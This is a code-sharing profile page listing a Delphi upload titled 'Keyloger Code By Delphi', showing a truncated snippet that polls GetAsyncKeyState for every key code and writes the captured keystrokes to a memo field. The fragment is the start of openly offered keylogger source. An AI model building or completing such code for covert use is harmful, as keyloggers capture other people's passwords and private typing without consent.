Upload Code
loading-left
loading loading loading
loading-right

Loading

Profile
No self-introduction
codes (1)
Keyloger Code By Delphi
no vote
procedure Send(x : string); begin form1.Memo1.Lines.Add(x) end; procedure TForm1.Timer1Timer(Sender: TObject); //begin //if GetAsyncKeyState(Ord('A'))= -32767  then send('A'); //if GetAsyncKeyState(Ord('B'))= -32767  then send('B'); var X,y:integer; f:char  ; str:string; begin For X:=0 to 255 do
keshtkar
2016-08-23
0
1
No more~